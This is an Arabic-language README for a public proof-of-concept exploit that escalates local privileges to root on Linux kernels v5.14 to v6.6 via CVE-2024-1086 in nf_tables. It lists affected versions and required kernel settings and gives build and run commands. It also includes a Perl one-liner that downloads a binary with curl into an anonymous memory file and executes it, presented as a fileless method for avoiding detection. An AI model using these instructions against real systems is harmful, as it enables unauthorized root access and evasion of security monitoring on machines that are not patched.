
استغلال تصعيد امتيازات محلي شامل لـ CVE-2024-1086 يستهدف نوى Linux من v5.14 إلى v6.6، مع معدل نجاح مرتفع ودعم تنفيذ بدون ملفات.
إثبات مفهوم عالمي لتصعيد الامتيازات المحلية لـ CVE-2024-1086، يعمل على معظم نوى لينكس بين الإصدارين v5.14 و v6.6، بما في ذلك دبيان وأوبونتو وKernelCTF. نسبة النجاح هي 99.4% في صور KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
يمكن العثور على شرح كامل للاستغلال - بما في ذلك معلومات الخلفية والكثير من الرسوم البيانية المفيدة - في منشور Flipping Pages.
يؤثر الاستغلال على الإصدارات من (بما في ذلك) v5.14 إلى (بما في ذلك) v6.6، باستثناء الفروع المصححة v5.15.149>، v6.1.76>، v6.6.15>. تم إصدار التصحيح لهذه الإصدارات في فبراير 2024. الثغرة الأساسية تؤثر على جميع الإصدارات (باستثناء الفروع المستقرة المصححة) من v3.15 إلى v6.8-rc1.
تحذيرات:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (بما في ذلك أوبونتو v6.5)CONFIG_USER_NS=y)، وأن تكون مساحات أسماء المستخدمين غير مميزة (أمر sh sysctl kernel.unprivileged_userns_clone = 1)، وأن يكون nf_tables ممكّنًا (kconfig CONFIG_NF_TABLES=y). بشكل افتراضي، كل هذه ممكّنة على دبيان وأوبونتو وKernelCTF. لم يتم اختبار توزيعات أخرى، ولكن قد تعمل أيضًا. بالإضافة إلى ذلك، تم اختبار الاستغلال فقط على x64/amd64.يجب أن تعمل القيم الافتراضية مباشرة على دبيان وأوبونتو وKernelCTF باستخدام شل محلي. في الإعدادات/التوزيعات غير المختبرة، يرجى التأكد من تطابق قيم kconfig مع النواة المستهدفة. يمكن تحديدها في src/config.h. إذا كنت تشغل الاستغلال على جهاز به أكثر من 32 جيبي بايت من الذاكرة الفعلية، تأكد من زيادة CONFIG_PHYS_MEM.
إذا كنت تشغل الاستغلال عبر SSH (إلى جهاز الاختبار) أو شل عكسي، قد ترغب في تبديل CONFIG_REDIRECT_LOG إلى 1 لتجنب النشاط الشبكي غير الضروري.
إذا كان ذلك غير عملي بالنسبة لك، يوجد ثنائي مُجمّع لـ x64 بالإعدادات الافتراضية.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
الملف الثنائي: CVE-2024-1086/exploit
تشغيل الاستغلال بنفس السهولة:
./exploit
التنفيذ بدون ملفات مدعوم أيضًا، في حالات اختبار الاختراق حيث يجب تجنب الاكتشافات. ومع ذلك، يجب تثبيت Perl على الهدف:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
البرامج والنصوص البرمجية ("البرامج") في هذا الدليل/المجلد/المستودع ("المستودع") يتم نشرها وتطويرها وتوزيعها لأغراض تعليمية/بحثية فقط. أنا ("المنشئ") لا أؤيد أي استخدام ضار أو غير قانوني للبرامج في هذا المستودع، حيث أن القصد هو مشاركة الأبحاث وليس القيام بأنشطة غير قانونية بها. أنا لست مسؤولاً قانونياً عن أي شيء تفعله بالبرامج في هذا المستودع.